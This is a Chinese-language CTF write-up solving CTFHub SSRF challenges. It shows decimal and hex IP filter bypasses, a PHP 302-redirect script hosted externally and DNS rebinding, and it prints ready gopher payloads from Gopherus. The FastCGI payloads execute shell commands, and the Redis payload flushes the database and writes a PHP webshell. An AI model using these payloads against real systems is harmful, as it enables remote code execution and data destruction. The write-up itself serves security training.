数字IP bypass
数字IP是指将IP地址中的每个数字都转换为一个十进制数的形式,例如将192.168.0.1转换为十进制数 3232235521。
IP地址是用于标识网络上设备的唯一地址,它由32位二进制数表示,通常使用点分十进制表示法来呈现,其中每个点分隔符表示8位二进制数。例如,IP地址192.168.0.1表示为二进制数11000000.10101000.00000000.00000001。
需要注意的是,数字IP表示法并不是标准的IP地址表示法,它只是一种方便的表示方法。在实际使用中,应该使用标准的点分十进制表示法来表示IP地址。
这是通过将每个点分隔符之间的数字转换为十进制数,并将它们组合成一个32位的二进制数得出的。具体来说,将127转换为十进制数,得到127;将0转换为十进制数,得到0;将0转换为十进制数,得到0;将1转换为十进制数,得到1。然后将这四个数字组合成一个32位的二进制数,得到01111111 00000000 00000000 00000001。将这个二进制数转换为十进制数,得到2130706433。
127.0.0.1的数字IP为2130706433,127.0.0.1的十六进制表示方式为0x7f000001。
因此
# 方法1
http://challenge-ee2cb11374050efc.sandbox.ctfhub.com:10800/?url=2130706433/flag.php
# 方法2
http://challenge-ee2cb11374050efc.sandbox.ctfhub.com:10800/?url=0x7f000001/flag.php
# 方法3
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=localhost/flag.php
302跳转 bypass
在SSRF攻击中,使用302跳转可以绕过对IP地址的检测,从而访问本地主机上的资源
写一个php脚本,访问的时候重定向到127.0.0.1/flag.php可以绕过服务端的过滤,然后将其托管到服务器上
<?php
// 设置HTTP状态码为302
http_response_code(302);
// 设置跳转目标URL为127.0.0.1
$target_url = "http://127.0.0.1/flag.php";
// 设置Location头部信息
header("Location: $target_url");
// 终止脚本继续执行
exit();
?>
使用下面两种方式可以得到flag
# 方法1
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=localhost/flag.php
# 方法2,url为托管的脚本的url
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=http://ctf.tsuk1.cn/302.php
DNS重绑定 bypass
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的,不会受到同源策略的限制(对于DNS Rebinding来说是没有作用的。因为同源策略看的是域名,并不是背后的IP地址,虽然两次的请求IP地址不同,但是由于DNS服务器的绑定,域名都是一样的,那么自然不违反同源策略。)。 这就是DNS Rebinding攻击
到https://lock.cmpxchg8b.com/rebinder.html网站获取url,可以让一个域名随机的绑定两个IP
ping 7f000001.c0a80001.rbndr.us
正在 Ping 7f000001.c0a80001.rbndr.us [192.168.0.1] 具有 32 字节的数据:
ping 7f000001.c0a80001.rbndr.us
正在 Ping 7f000001.c0a80001.rbndr.us [127.0.0.1] 具有 32 字节的数据:
http://challenge-41efc0587c7ead71.sandbox.ctfhub.com:10800/?url=7f000001.c0a80001.rbndr.us/flag.php
FastCGI协议
FastCGI协议是一种用于Web服务器和应用程序之间通信的协议,它是为了解决传统CGI处理效率低下的问题而出现的。与传统的CGI方式相比,FastCGI协议具有更高的性能和更好的可扩展性,因此在现代Web应用程序中被广泛使用。
在FastCGI架构中,应用程序通过一个FastCGI进程管理器来与Web服务器进行通信。进程管理器会启动多个FastCGI进程,这些进程可以同时处理多个请求,从而提高Web应用程序的性能。当Web服务器需要处理一个请求时,它会向FastCGI进程管理器发送一个请求,进程管理器会将请求分配给一个空闲的FastCGI进程进行处理,并将处理结果返回给Web服务器。
Gopherus 是用来专门生成 的 payload 工具,通过 gopher 协议的特点和各种被攻击应用的 tcp 包特点来构造 payload。下载地址https://github.com/tarunkant/Gopherus
其支持生成SSRF的payload的应用有:
-
MySQL (Port:3306)
-
FastCGI (Port:9000)
-
Memcached (Port:11211)
-
Redis (Port:6379)
-
Zabbix (Port:10050)
-
SMTP (Port:25)
使用下面的命令构造payload
python2 gopherus.py --exploit fastcgi
输入存在的文件/var/www/html/index.php,输入shell命令为ls,生成payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后将payload进行二次url编码,然后get传入url,发现目录下没有可疑文件,只有一个index.php
把shell命令换成ls /查看上一级,发现了flag_35fe7de61adf99fa9f63e5831885430a文件
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
直接cat /flag_35fe7de61adf99fa9f63e5831885430a即可,然后url编码,get传入拿到flag
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH94%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5E%04%00%3C%3Fphp%20system%28%27cat%20/flag_35fe7de61adf99fa9f63e5831885430a%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Redis协议
Redis协议是一种基于TCP的文本协议,用于Redis数据库与客户端之间的通信。Redis协议是一个简单、高效的协议,它采用文本格式来传输数据,易于理解和调试。
同样使用Gopherus 工具利用gopher协议来攻击redis协议。使用下面命令生成payload
python2 gopherus.py --exploit redis
然后选择PHPShell,剩下两个都使用默认选项,得到payload,然后将该payload进行二次url编码
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
把编码后的作为get参数传入url,在服务端即可生成一个webshell。如shell.php?cmd=ls
可以执行系统命令
然后ls /查看上一级目录,可以发现flag文件flag_f56e9eb056c03301d3efcf5bdfa7a587,直接cat /flag_f56e9eb056c03301d3efcf5bdfa7a587即可得到flag